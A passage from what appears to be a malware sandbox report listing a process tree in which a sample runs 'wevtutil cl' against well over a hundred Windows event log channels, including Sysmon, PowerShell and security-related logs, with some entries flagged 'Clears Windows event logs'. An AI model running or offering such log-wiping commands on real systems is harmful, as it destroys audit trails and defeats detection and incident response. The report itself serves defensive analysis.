    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Windows Firewall With Advanced Security/FirewallDiagnostics"
    3⤵
    PID:4660
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"
    3⤵
    PID:5032
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurityVerbose"
    3⤵
    PID:4332
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity"
    3⤵
    PID:1128
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Win32k/Operational
    3⤵
    PID:4404
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WFP/Operational
    3⤵
    PID:700
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WER-PayloadHealth/Operational
    3⤵
    PID:1136
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WEPHOSTSVC/Operational
    3⤵
    PID:3036
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WebIO-NDF/Diagnostic
    3⤵
    PID:2496
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WebAuthN/Operational
    3⤵
    PID:3064
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WebAuth/Operational
    3⤵
    PID:4968
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Wcmsvc/Operational
    3⤵
    PID:4956
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-VPN/Operational
    3⤵
    PID:1948
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-VPN-Client/Operational
    3⤵
    PID:5112
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-VolumeSnapshot-Driver/Operational
    3⤵
    PID:3080
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Volume/Diagnostic
    3⤵
    PID:4636
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-VHDMP-Operational
    3⤵
    PID:3016
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-VerifyHardwareSecurity/Operational
    3⤵
    - Clears Windows event logs
    PID:3476
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-VerifyHardwareSecurity/Admin
    3⤵
    PID:2920
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-VDRVROOT/Operational
    3⤵
    PID:4456
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-UserPnp/DeviceInstall
    3⤵
    PID:1980
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-UserPnp/ActionCenter
    3⤵
    - Clears Windows event logs
    PID:444
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-User-Loader/Operational
    3⤵
    PID:3512
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-User Profile Service/Operational"
    3⤵
    PID:1436
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-User Device Registration/Admin"
    3⤵
    PID:4048
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-User Control Panel/Operational"
    3⤵
    PID:508
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-UniversalTelemetryClient/Operational
    3⤵
    PID:4996
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-UAC/Operational
    3⤵
    - Clears Windows event logs
    PID:2576
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-UAC-FileVirtualization/Operational
    3⤵
    PID:232
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TZUtil/Operational
    3⤵
    PID:2752
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TZSync/Operational
    3⤵
    - Clears Windows event logs
    PID:280
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TWinUI/Operational
    3⤵
    PID:4608
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Troubleshooting-Recommended/Operational
    3⤵
    PID:2912
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Troubleshooting-Recommended/Admin
    3⤵
    PID:1756
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Time-Service/Operational
    3⤵
    PID:3756
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Time-Service-PTP-Provider/PTP-Operational
    3⤵
    PID:876
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-ServerUSBDevices/Operational
    3⤵
    PID:2812
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-ServerUSBDevices/Admin
    3⤵
    PID:3348
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational
    3⤵
    PID:1400
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin
    3⤵
    PID:3280
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-RDPClient/Operational
    3⤵
    - Clears Windows event logs
    PID:1888
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-Printers/Operational
    3⤵
    PID:4776
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-Printers/Admin
    3⤵
    PID:4748
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-PnPDevices/Operational
    3⤵
    PID:1808
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-PnPDevices/Admin
    3⤵
    PID:948
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
    3⤵
    PID:1688
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-LocalSessionManager/Admin
    3⤵
    PID:5008
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-ClientUSBDevices/Operational
    3⤵
    PID:3696
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TerminalServices-ClientUSBDevices/Admin
    3⤵
    PID:528
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TCPIP/Operational
    3⤵
    PID:2832
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TaskScheduler/Operational
    3⤵
    PID:3704
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-TaskScheduler/Maintenance
    3⤵
    PID:296
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SystemSettingsThreshold/Operational
    3⤵
    PID:1812
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Sysmon/Operational
    3⤵
    PID:648
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storsvc/Diagnostic
    3⤵
    PID:4424
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Store/Operational
    3⤵
    PID:4408
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-StorageSpaces-SpaceManager/Operational
    3⤵
    PID:1876
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-StorageSpaces-SpaceManager/Diagnostic
    3⤵
    PID:4556
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-StorageSpaces-ManagementAgent/WHC
    3⤵
    PID:4860
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-StorageSpaces-Driver/Operational
    3⤵
    PID:4108
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-StorageSpaces-Driver/Diagnostic
    3⤵
    - Clears Windows event logs
    PID:3132
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-StorageSettings/Diagnostic
    3⤵
    PID:1132
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-StorageManagement/Operational
    3⤵
    PID:4180
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storage-Tiering/Admin
    3⤵
    PID:3008
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storage-Storport/Operational
    3⤵
    PID:3404
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storage-Storport/Health
    3⤵
    - Clears Windows event logs
    PID:3128
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storage-Storport/Admin
    3⤵
    PID:4248
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storage-Disk/Operational
    3⤵
    PID:1264
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storage-Disk/Admin
    3⤵
    PID:644
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storage-ClassPnP/Operational
    3⤵
    PID:3824
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storage-ClassPnP/Admin
    3⤵
    PID:2644
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storage-ATAPort/Operational
    3⤵
    PID:4500
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Storage-ATAPort/Admin
    3⤵
    PID:628
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-StateRepository/Restricted
    3⤵
    - Clears Windows event logs
    PID:3332
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-StateRepository/Operational
    3⤵
    PID:2512
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SMBWitnessClient/Informational
    3⤵
    PID:1236
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SMBWitnessClient/Admin
    3⤵
    PID:4896
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SMBServer/Security
    3⤵
    PID:3672
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SMBServer/Operational
    3⤵
    - Clears Windows event logs
    PID:3772
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SMBServer/Connectivity
    3⤵
    PID:3712
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SMBServer/Audit
    3⤵
    PID:2860
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SMBDirect/Admin
    3⤵
    - Clears Windows event logs
    PID:3424
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SmbClient/Security
    3⤵
    PID:3520
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SMBClient/Operational
    3⤵
    - Clears Windows event logs
    PID:1752
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SmbClient/Connectivity
    3⤵
    PID:4460
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SmbClient/Audit
    3⤵
    PID:4856
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SmartScreen/Debug
    3⤵
    PID:4976
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SmartCard-TPM-VCard-Module/Operational
    3⤵
    PID:4548
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SmartCard-TPM-VCard-Module/Admin
    3⤵
    - Clears Windows event logs
    PID:4064
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SmartCard-DeviceEnum/Operational
    3⤵
    PID:368
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SmartCard-Audit/Authentication
    3⤵
    PID:4536
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ShellCommon-StartLayoutPopulation/Operational
    3⤵
    PID:4692
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Shell-Core/Operational
    3⤵
    - Clears Windows event logs
    PID:2060
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Shell-Core/LogonTasksChannel
    3⤵
    PID:3716
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Shell-Core/AppDefaults
    3⤵
    PID:3088
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Shell-Core/ActionCenter
    3⤵
    PID:1408
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Shell-ConnectedAccountState/ActionCenter
    3⤵
    PID:852
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SettingSync/Operational
    3⤵
    PID:2968
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SettingSync/Debug
    3⤵
    PID:4208
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SettingSync-OneDrive/Operational
    3⤵
    PID:508
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SettingSync-OneDrive/Debug
    3⤵
    PID:2184
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SettingSync-Azure/Operational
    3⤵
    PID:1868
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SettingSync-Azure/Debug
    3⤵
    - Clears Windows event logs
    PID:3960
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ServiceReportingApi/Debug
    3⤵
    PID:4304
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SecurityMitigationsBroker/Operational
    3⤵
    PID:736
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SecurityMitigationsBroker/Admin
    3⤵
    PID:3600
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-UserConsentVerifier/Audit
    3⤵
    PID:3260
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-SPP-UX-Notifications/ActionCenter
    3⤵
    PID:1304
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-SPP-UX-GenuineCenter-Logging/Operational
    3⤵
    PID:4148
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-Netlogon/Operational
    3⤵
    PID:4340
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-Mitigations/UserMode
    3⤵
    PID:4580
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-Mitigations/KernelMode
    3⤵
    PID:3752
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-LessPrivilegedAppContainer/Operational
    3⤵
    PID:372
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-IdentityListener/Operational
    3⤵
    PID:1200
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-ExchangeActiveSyncProvisioning/Operational
    3⤵
    PID:4756
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-EnterpriseData-FileRevocationManager/Operational
    3⤵
    PID:800
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-Audit-Configuration-Client/Operational
    3⤵
    PID:848
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Security-Adminless/Operational
    3⤵
    PID:732
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SecureAssessment/Operational
    3⤵
    PID:3604
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-SearchUI/Operational
    3⤵
    - Clears Windows event logs
    PID:2212
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RRAS/Operational
    3⤵
    PID:4464
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RetailDemo/Operational
    3⤵
    PID:944
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RetailDemo/Admin
    3⤵
    - Clears Windows event logs
    PID:1392
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RestartManager/Operational
    3⤵
    - Clears Windows event logs
    PID:4964
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Resource-Exhaustion-Resolver/Operational
    3⤵
    PID:4124
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Resource-Exhaustion-Detector/Operational
    3⤵
    PID:684
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Remotefs-Rdbss/Operational
    3⤵
    PID:804
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RemoteDesktopServices-SessionServices/Operational
    3⤵
    - Clears Windows event logs
    PID:4612
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RemoteDesktopServices-RemoteFX-Synth3dvsc/Admin
    3⤵
    PID:4136
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational
    3⤵
    PID:3680
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Admin
    3⤵
    PID:2548
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RemoteAssistance/Operational
    3⤵
    PID:1456
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RemoteAssistance/Admin
    3⤵
    PID:1004
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-RemoteApp and Desktop Connections/Operational"
    3⤵
    PID:212
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin"
    3⤵
    PID:4176
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Regsvr32/Operational
    3⤵
    PID:300
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ReFS/Operational
    3⤵
    PID:5068
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ReadyBoostDriver/Operational
    3⤵
    PID:2272
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ReadyBoost/Operational
    3⤵
    PID:3908
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-RasAgileVpn/Operational
    3⤵
    - Clears Windows event logs
    PID:4972
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PushNotification-Platform/Operational
    3⤵
    - Clears Windows event logs
    PID:4168
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PushNotification-Platform/Admin
    3⤵
    - Clears Windows event logs
    PID:4920
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Proximity-Common/Diagnostic
    3⤵
    PID:584
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Provisioning-Diagnostics-Provider/ManagementService
    3⤵
    PID:4648
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Provisioning-Diagnostics-Provider/AutoPilot
    3⤵
    - Clears Windows event logs
    PID:556
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Provisioning-Diagnostics-Provider/Admin
    3⤵
    PID:5032
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Program-Compatibility-Assistant/CompatAfterUpgrade
    3⤵
    PID:1152
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Program-Compatibility-Assistant/Analytic
    3⤵
    PID:1128
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Privacy-Auditing/Operational
    3⤵
    PID:3092
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PrintService/Operational
    3⤵
    PID:544
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PrintService/Admin
    3⤵
    - Clears Windows event logs
    PID:2104
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PrintBRM/Admin
    3⤵
    PID:4904
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PowerShell/Operational
    3⤵
    PID:4704
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PowerShell/Admin
    3⤵
    PID:2316
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Operational
    3⤵
    - Clears Windows event logs
    PID:4320
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Policy/Operational
    3⤵
    - Clears Windows event logs
    PID:4796
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PersistentMemory-ScmBus/Operational
    3⤵
    PID:3028
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PersistentMemory-ScmBus/Certification
    3⤵
    PID:5044
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PersistentMemory-PmemDisk/Operational
    3⤵
    - Clears Windows event logs
    PID:3032
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PersistentMemory-Nvdimm/Operational
    3⤵
    PID:2416
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PerceptionSensorDataService/Operational
    3⤵
    PID:3016
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PerceptionRuntime/Operational
    3⤵
    PID:3728
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Partition/Diagnostic
    3⤵
    PID:1996
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ParentalControls/Operational
    3⤵
    PID:4752
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-PackageStateRoaming/Operational
    3⤵
    PID:4548
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-OtpCredentialProvider/Operational
    3⤵
    PID:4064
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-OOBE-Machine-DUI/Operational
    3⤵
    PID:368
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-OneX/Operational
    3⤵
    PID:4536
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-OneBackup/Debug
    3⤵
    PID:4692
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-OfflineFiles/Operational
    3⤵
    PID:2060
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-OcpUpdateAgent/Operational
    3⤵
    PID:3716
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-NTLM/Operational
    3⤵
    PID:3088
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Ntfs/WHC
    3⤵
    PID:1408
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Ntfs/Operational
    3⤵
    PID:852
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-NlaSvc/Operational
    3⤵
    PID:2968
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-NetworkProvisioning/Operational
    3⤵
    PID:4208
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-NetworkProvider/Operational
    3⤵
    PID:508
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-NetworkProfile/Operational
    3⤵
    PID:2184
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-NetworkLocationWizard/Operational
    3⤵
    PID:1868
- - C:\Windows\system32\wevtutil.exe
